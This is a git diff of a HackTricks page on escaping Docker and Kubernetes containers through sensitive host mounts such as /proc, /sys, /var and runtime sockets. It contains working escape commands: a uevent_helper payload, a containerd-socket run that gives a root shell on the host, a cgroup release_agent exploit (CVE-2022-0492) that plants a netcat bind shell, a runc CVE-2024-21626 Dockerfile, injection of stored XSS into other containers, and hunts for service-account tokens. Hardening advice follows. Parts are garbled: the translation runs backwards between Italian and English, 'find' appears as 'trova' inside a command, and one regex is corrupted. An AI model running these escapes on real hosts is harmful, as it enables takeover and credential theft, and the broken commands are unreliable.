Translated ['src/linux-hardening/privilege-escalation/docker-security/do

2025-10-10 18:36:50 +00:00 · 2025-07-11 02:43:05 +00:00 · 2025-07-11 02:43:05 +00:00 · daad8491b6
commit daad8491b6
parent ff9889d627
1 changed files with 140 additions and 60 deletions
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -2,7 +2,7 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-L'esposizione di `/proc`, `/sys` e `/var` senza un'adeguata isolamento dei namespace introduce significativi rischi per la sicurezza, inclusi l'ampliamento della superficie di attacco e la divulgazione di informazioni. Questi directory contengono file sensibili che, se mal configurati o accessibili da un utente non autorizzato, possono portare a fuga dal container, modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, montare in modo errato `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata su percorso, lasciando `/host/proc` non protetto.
+L'esposizione di `/proc`, `/sys` e `/var` senza un'adeguata isolamento dei namespace introduce significativi rischi per la sicurezza, inclusa l'ampliamento della superficie di attacco e la divulgazione di informazioni. Questi directory contengono file sensibili che, se mal configurati o accessibili da un utente non autorizzato, possono portare a fuga dal container, modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, montare in modo errato `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata su percorso, lasciando `/host/proc` non protetto.

 **Puoi trovare ulteriori dettagli su ciascuna potenziale vulnerabilità in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**

@ -126,86 +126,94 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
 - Fornisce informazioni sui punti di montaggio nello spazio dei nomi di montaggio del processo.
 - Espone la posizione del `rootfs` o dell'immagine del container.

-### Vulnerabilità di `/sys`
+### Vulnerabilità in `/sys`

 #### **`/sys/kernel/uevent_helper`**

 - Utilizzato per gestire i `uevents` dei dispositivi del kernel.
 - Scrivere in `/sys/kernel/uevent_helper` può eseguire script arbitrari al verificarsi di `uevent`.
- **Esempio di Sfruttamento**: %%%bash
+- **Esempio di Sfruttamento**:
+```bash

-#### Crea un payload
+#### Creates a payload

 echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

-#### Trova il percorso host dal montaggio OverlayFS per il container
+#### Finds host path from OverlayFS mount for container

 host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

-#### Imposta uevent_helper su helper malevolo
+#### Sets uevent_helper to malicious helper

 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

-#### Attiva un uevent
+#### Triggers a uevent

 echo change > /sys/class/mem/null/uevent

-#### Legge l'output
+#### Reads the output

-cat /output %%%
+cat /output
+```

 #### **`/sys/class/thermal`**

- Controlla le impostazioni di temperatura, potenzialmente causando attacchi DoS o danni fisici.
+- Controls temperature settings, potentially causing DoS attacks or physical damage.

 #### **`/sys/kernel/vmcoreinfo`**

- Rilascia indirizzi del kernel, compromettendo potenzialmente KASLR.
+- Leaks kernel addresses, potentially compromising KASLR.

 #### **`/sys/kernel/security`**

- Contiene l'interfaccia `securityfs`, che consente la configurazione dei Moduli di Sicurezza Linux come AppArmor.
- L'accesso potrebbe consentire a un container di disabilitare il proprio sistema MAC.
+- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
+- Access might enable a container to disable its MAC system.

-#### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`**
+#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**

- Espone interfacce per interagire con le variabili EFI in NVRAM.
- Una configurazione errata o uno sfruttamento possono portare a laptop bloccati o macchine host non avviabili.
+- Exposes interfaces for interacting with EFI variables in NVRAM.
+- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

 #### **`/sys/kernel/debug`**

- `debugfs` offre un'interfaccia di debug "senza regole" al kernel.
- Storia di problemi di sicurezza a causa della sua natura illimitata.
+- `debugfs` offers a "no rules" debugging interface to the kernel.
+- History of security issues due to its unrestricted nature.

-### Vulnerabilità di `/var`
+### `/var` Vulnerabilities

-La cartella **/var** dell'host contiene socket di runtime del container e i filesystem dei container. Se questa cartella è montata all'interno di un container, quel container avrà accesso in lettura-scrittura ai filesystem di altri container con privilegi di root. Questo può essere abusato per passare tra i container, causare un denial of service o inserire backdoor in altri container e applicazioni che vi girano.
+The host's **/var** folder contains container runtime sockets and the containers' filesystems.
+If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
+with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
+containers and applications that run in them.

 #### Kubernetes

-Se un container come questo è distribuito con Kubernetes:
+If a container like this is deployed with Kubernetes:
+
 ```yaml
-apiVersion: v1
-kind: Pod
-metadata:
-name: pod-mounts-var
-labels:
-app: pentest
-spec:
-containers:
- name: pod-mounts-var-folder
-image: alpine
-volumeMounts:
- mountPath: /host-var
-name: noderoot
-command: [ "/bin/sh", "-c", "--" ]
-args: [ "while true; do sleep 30; done;" ]
-volumes:
- name: noderoot
-hostPath:
-path: /var
+apiVersion: v1  
+kind: Pod  
+metadata:  
+  name: pod-mounts-var  
+  labels:  
+    app: pentest  
+spec:  
+  containers:  
+  - name: pod-mounts-var-folder  
+    image: alpine  
+    volumeMounts:  
+    - mountPath: /host-var  
+      name: noderoot  
+    command: [ "/bin/sh", "-c", "--" ]  
+    args: [ "while true; do sleep 30; done;" ]  
+  volumes:  
+  - name: noderoot  
+    hostPath:  
+      path: /var
 ```
-Dentro del contenitore **pod-mounts-var-folder**:
+
+Inside the **pod-mounts-var-folder** container:
+
 ```bash
 / # find /host-var/ -type f -iname '*.env*' 2>/dev/null

@ -223,53 +231,125 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

-/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
+/ # echo '<!DOCTYPE html><html lang="it"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
 are/nginx/html/index2.html
 ```
-L'XSS è stato ottenuto:
+
+The XSS was achieved:

 ![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)

-Nota che il container NON richiede un riavvio o altro. Qualsiasi modifica effettuata tramite la cartella montata **/var** verrà applicata istantaneamente.
+Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.

-Puoi anche sostituire file di configurazione, binari, servizi, file di applicazione e profili di shell per ottenere RCE automatico (o semi-automatico).
+You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

-##### Accesso alle credenziali cloud
+##### Access to cloud credentials
+
+The container can read K8s serviceaccount tokens or AWS webidentity tokens
+which allows the container to gain unauthorized access to K8s or cloud:

-Il container può leggere i token del serviceaccount K8s o i token webidentity AWS
-che consentono al container di ottenere accesso non autorizzato a K8s o al cloud:
 ```bash
-/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
+/ # trova /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
 /host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
 <SNIP>
 /host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
 /host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
 /host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
 ```
+
 #### Docker

-Lo sfruttamento in Docker (o nelle distribuzioni Docker Compose) è esattamente lo stesso, tranne per il fatto che di solito i filesystem degli altri container sono disponibili sotto un percorso di base diverso:
+The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
+the other containers' filesystems are available under a different base path:
+
 ```bash
 $ docker info | grep -i 'docker root\|storage driver'
-Storage Driver: overlay2
-Docker Root Dir: /var/lib/docker
+Driver di archiviazione: overlay2
+Directory principale di Docker: /var/lib/docker
 ```
-Quindi i filesystem si trovano sotto `/var/lib/docker/overlay2/`:
+
+So the filesystems are under `/var/lib/docker/overlay2/`:
+
 ```bash
 $ sudo ls -la /var/lib/docker/overlay2

-drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
-drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
-drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
-drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
+drwx--x---  4 root root  4096 9 gen  22:14  00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
+drwx--x---  4 root root  4096 11 gen 17:00  03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
+drwx--x---  4 root root  4096 9 gen  21:23  049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
+drwx--x---  4 root root  4096 9 gen  21:22  062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
 <SNIP>
 ```
-#### Nota

-I percorsi effettivi possono differire in diverse configurazioni, motivo per cui la tua migliore opzione è utilizzare il comando **find** per localizzare i filesystem degli altri container e i token di identità SA / web.
+#### Note

-### Riferimenti
+The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
+locate the other containers' filesystems and SA / web identity tokens

+
+
+### Other Sensitive Host Sockets and Directories (2023-2025)
+
+Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
+
+```text
+/run/containerd/containerd.sock     # socket CRI di containerd  
+/var/run/crio/crio.sock             # socket di runtime CRI-O  
+/run/podman/podman.sock             # API di Podman (con root o senza root)  
+/var/run/kubelet.sock               # API di Kubelet sui nodi Kubernetes  
+/run/firecracker-containerd.sock    # Kata / Firecracker
+```
+
+Attack example abusing a mounted **containerd** socket:
+
+```bash
+# dentro del contenitore (il socket è montato su /host/run/containerd.sock)
+ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
+ctr --address /host/run/containerd.sock run --tty --privileged --mount \
+type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
+chroot /host /bin/bash   # shell root completa sull'host
+```
+
+A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
+
+Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
+
+```bash
+# assumendo che il container abbia CAP_SYS_ADMIN e un kernel vulnerabile
+mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
+
+echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # richiede CVE-2022-0492
+
+echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
+sh -c "echo 0 > /tmp/x/cgroup.procs"  # attiva l'evento empty-cgroup
+```
+
+When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
+
+### Mount-Related Escape CVEs (2023-2025)
+
+* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
+runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
+
+```Dockerfile
+FROM scratch
+WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
+CMD ["/bin/sh"]
+```
+
+* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
+A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
+
+### Hardening Reminders (2025)
+
+1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
+2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
+3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
+4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
+
+### References
+
+- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
+- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
 - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
 - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
 - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)